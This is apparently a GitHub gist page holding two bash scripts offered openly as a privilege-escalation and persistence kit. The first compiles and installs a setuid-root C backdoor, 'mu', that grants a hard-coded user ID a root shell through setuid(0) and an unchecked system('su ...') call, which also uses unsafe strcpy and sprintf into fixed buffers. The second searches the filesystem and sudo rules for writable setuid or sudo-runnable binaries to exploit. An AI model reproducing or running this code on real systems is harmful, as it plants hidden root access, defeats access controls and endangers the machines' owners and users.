Skip to content

Instantly share code, notes, and snippets.

@m-manu
Last active November 28, 2016 06:04
Show Gist options
  • Save m-manu/109c7c1cd40e4e5e86c3 to your computer and use it in GitHub Desktop.
Save m-manu/109c7c1cd40e4e5e86c3 to your computer and use it in GitHub Desktop.
Find sudo runnable binaries that are writeable, exploit, get permanent root access
#!/bin/bash
if [ $UID -ne 0 ]; then
echo >&2 "You should run this as root"
exit
fi
# Id of user who needs to get root access:
COOL_USER_ID=1089
echo "
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#define COOL_USER_ID $COOL_USER_ID
int main(int argc, char* argv[]) {
int uid, retcode=0;
char username[100]=\"\", permstr[100];
uid=getuid();
if(argc>1) {
if(strcmp(argv[1], \"-t\")==0) {
printf(\"expected=%d, current=%d\\n\", COOL_USER_ID, uid);
return 0;
}
strcpy(username,argv[1]);
}
if(uid==COOL_USER_ID) {
setuid(0);
setgid(0);
sprintf(permstr, \"su %s\", username);
retcode = system(permstr);
}
return retcode;
}
" > "./mu.c"
gcc "./mu.c" -o "./mu"
sudo chmod -v ug+s "./mu"
rm -v "./mu.c"
#!/bin/bash
for f in `find / -perm -4000 -type f 2>/dev/null`; do if [ -w "$f" ]; then echo $f; fi; done
for f in $(sudo -l | sed "s/.*\:/,/g" | xargs | sed "s/,/\n/g" | awk '{print $1}'); do if [ -w "$f" ]; then echo $f; fi; done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment